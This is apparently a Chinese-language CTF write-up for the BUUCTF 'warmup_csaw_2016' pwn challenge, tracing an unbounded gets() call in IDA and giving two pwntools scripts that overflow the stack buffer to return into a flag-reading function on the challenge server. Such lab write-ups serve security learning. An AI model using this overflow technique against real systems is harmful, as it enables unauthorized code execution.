BUUCTF-warmup_csaw_2016

1.checksec/file

BUUCTF-warmup_csaw_2016_第1张图片

64位的linux文件

2.ida

找到主函数

BUUCTF-warmup_csaw_2016_第2张图片

 发现致命函数 get() 因为get可以无限输入

看看有没有什么函数我们可以返回的

双击进入sub_40060d

BUUCTF-warmup_csaw_2016_第3张图片

 直接发现这个函数是取flag的 所以我们开始看这个函数的地址

BUUCTF-warmup_csaw_2016_第4张图片

 所以函数地址是 0x40060d

我们看看get什么时候开始的

BUUCTF-warmup_csaw_2016_第5张图片

发现get是40h开始 然后因为64位有8位的rdp 所以需要40h+8

40h=64    --->  64+8

或者0x40+0x08=0x48

3.exp

from pwn import *
p=remote('node4.buuoj.cn',27652)
payload=b'A'*64+b'B'*8+p64(0x40060d)
p.sendline(payload)
p.interactive()





from pwn import *
p=remote('node4.buuoj.cn',27652)
payload=b'A'*(0x40+0x08)+p64(0x40060d)
p.sendline(payload)
p.interactive()

两个一样的

BUUCTF-warmup_csaw_2016_第6张图片

 

你可能感兴趣的:(PWN的学习,java,开发语言)